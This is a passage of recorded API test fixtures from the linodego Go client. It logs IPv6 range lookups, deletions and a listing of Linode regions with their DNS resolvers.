X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "86" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:40:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"region":"eu-west"}' url: https://api.linode.com/v4beta/networking/ipv6/ranges?page=1 method: GET response: body: '{"data": [{"range": "1234::5678", "prefix": 64, "region": "eu-west", "route_target": "1234::5678"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "167" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:40:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: 'https://api.linode.com/v4beta/networking/ipv6/ranges/1234::5678' method: GET response: body: '{"range": "1234::5678", "prefix": 64, "region": "eu-west", "is_bgp": false, "linodes": [61875951]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "108" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:40:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: 'https://api.linode.com/v4beta/networking/ipv6/ranges/1234::5678' method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:40:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61875951 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:40:32 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestIPv6Range_Share.yaml000066400000000000000000001260071474652371000312010ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:42:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: 